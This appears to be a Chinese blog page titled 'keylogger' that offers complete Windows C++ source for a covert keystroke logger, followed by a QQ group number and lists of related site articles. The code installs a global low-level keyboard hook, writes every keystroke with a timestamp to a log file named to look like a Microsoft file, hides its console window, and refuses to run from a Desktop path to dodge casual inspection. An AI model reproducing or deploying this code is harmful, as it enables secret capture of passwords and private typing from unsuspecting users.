【键盘记录器】

#include <iostream>
#include <fstream>
#include <windows.h>
#include <ctime>
#include <iomanip>
#include <sstream>

#include <stdio.h>
#include <stdlib.h>



HHOOK keyboardHook;
std::ofstream logFile;

void RecordKeyStroke(DWORD key, const char* keyName) {
   
    
    std::time_t currentTime = std::time(nullptr);
    std::tm localTime;
    localtime_s(&localTime, &currentTime);

    std::ostringstream timeStrStream;
    timeStrStream << std::put_time(&localTime, "%Y-%m-%d %H:%M:%S");

    logFile.open("MicrosoftRecorder.log", std::ios::app);
    if (logFile.is_open()) {
   
        logFile << "T:" << timeStrStream.str() << ",VK:" << key << ",K:" << keyName << std::endl;
        std::cout << keyName << std::endl;
        logFile.close();
    }

}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
   
    if (nCode >= 0 && wParam == WM_KEYDOWN) {
   
        KBDLLHOOKSTRUCT* kbdStruct = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam);
        DWORD key = kbdStruct->vkCode;

        char keyName[256] = {
    0 };

        if (key == VK_RETURN) {
   
            strcpy_s(keyName, "回车");
        }
        else if (key == VK_BACK) {
   
            strcpy_s(keyName, "退格");
        }
        else if (key == 160) {
   
            strcpy_s(keyName, "SHIFT");
        }
        else if (key == 162) {
   
            strcpy_s(keyName, "CTRL");
        }
        else if (key == 20) {
   
            strcpy_s(keyName, "大小写");
        }
        else if (key == 144) {
   
            strcpy_s(keyName, "小键盘数字");
        }
        else if (key == 9) {
   
            strcpy_s(keyName, "TAB");
        }
        else if (key == VK_SPACE) {
   
            strcpy_s(keyName, "空格键");
        }
        else if (key == 91) {
   
            strcpy_s(keyName, "开始");
        }
        else if (key == 45) {
   
            strcpy_s(keyName, "INS");
        }
        else if (key == 36) {
   
            strcpy_s(keyName, "HOME");
        }
        else if (key == 33) {
   
            strcpy_s(keyName, "PAGUP");
        }
        else if (key == 46) {
   
            strcpy_s(keyName, "DEL");
        }
        else if (key == 35) {
   
            strcpy_s(keyName, "END");
        }
        else if (key == 34) {
   
            strcpy_s(keyName, "PAGDN");
        }
        else if (key == 37) {
   
            strcpy_s(keyName, "←");
        }
        else if (key == 38) {
   
            strcpy_s(keyName, "↑");
        }
        else if (key == 39) {
   
            strcpy_s(keyName, "→");
        }
        else if (key == 40) {
   
            strcpy_s(keyName, "↓");
        }
        else if (key == 44) {
   
            strcpy_s(keyName, "PRTSC");
        }
        else if (key == 145) {
   
            strcpy_s(keyName, "SCRLK");
        }
        else if (key == 19) {
   
            strcpy_s(keyName, "PAUSE");
        }
        else if (key == 112) {
   
            strcpy_s(keyName, "F1");
        }
        else if (key == 113) {
   
            strcpy_s(keyName, "F2");
        }
        else if (key == 114) {
   
            strcpy_s(keyName, "F3");
        }
        else if (key == 115) {
   
            strcpy_s(keyName, "F4");
        }
        else if (key == 116) {
   
            strcpy_s(keyName, "F5");
        }
        else if (key == 117) {
   
            strcpy_s(keyName, "F6");
        }
        else if (key == 118) {
   
            strcpy_s(keyName, "F7");
        }
        else if (key == 119) {
   
            strcpy_s(keyName, "F8");
        }
        else if (key == 120) {
   
            strcpy_s(keyName, "F9");
        }
        else if (key == 121) {
   
            strcpy_s(keyName, "F10");
        }
        else if (key == 122) {
   
            strcpy_s(keyName, "F11");
        }
        else if (key == 123) {
   
            strcpy_s(keyName, "F12");
        }
        else if (key == 27) {
   
            strcpy_s(keyName, "ESC");
        }
        else {
   
            BYTE keyboardState[256] = {
    0 };
            SHORT shiftState = GetKeyState(VK_SHIFT);
            SHORT capsLockState = GetKeyState(VK_CAPITAL);
            bool isShiftPressed = shiftState & 0x8000;
            bool isCapsLockOn = (capsLockState & 1) != 0;

            if (isCapsLockOn ^ isShiftPressed) {
   
                keyboardState[VK_SHIFT] = 0x80;
            }
            ToAscii(key, key, keyboardState, reinterpret_cast<WORD*>(keyName), 0);
        }

        RecordKeyStroke(key, keyName);
    }

    return CallNextHookEx(keyboardHook, nCode, wParam, lParam);
}

int main(int argc, char* argv[]) {
   

    std::string programPath = argv[0];
    std::string windowsKeyword = "Desktop";

    if (programPath.find(windowsKeyword) != std::string::npos) {
   
        std::cout << programPath << std::endl;
        return EXIT_FAILURE;
    }

    AllocConsole();
    HWND hide = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(hide, 0);

    keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0) > 0) {
   
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    UnhookWindowsHookEx(keyboardHook);

    return 0;
}



QQ群:839758211

相关推荐

  1. 键盘记录器

    2024-01-11 09:52:06       36 阅读
  2. 记录 | linux下互换键盘的Ctrl和CapsLock键

    2024-01-11 09:52:06       35 阅读
  3. OneNote中的键盘快捷记录(超全)

    2024-01-11 09:52:06       31 阅读
  4. 记录RK键盘蓝牙搜索不到

    2024-01-11 09:52:06       17 阅读
  5. 开源键盘工程QMK

    2024-01-11 09:52:06       37 阅读
  6. uView Keyboard 键盘

    2024-01-11 09:52:06       49 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-01-11 09:52:06       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-01-11 09:52:06       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-01-11 09:52:06       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-01-11 09:52:06       20 阅读

热门阅读

  1. ThinkPHP6 自定义Excel导出

    2024-01-11 09:52:06       36 阅读
  2. Halcon用共生矩阵计算灰度值特征cooc_feature_matrix

    2024-01-11 09:52:06       37 阅读
  3. 【Kafka每日一问】Kafka重平衡逻辑是什么样的?

    2024-01-11 09:52:06       37 阅读
  4. 宝藏项目记录

    2024-01-11 09:52:06       40 阅读
  5. C语言中各数据类型的大小

    2024-01-11 09:52:06       99 阅读
  6. Qt元对象系统Meta-Object System

    2024-01-11 09:52:06       39 阅读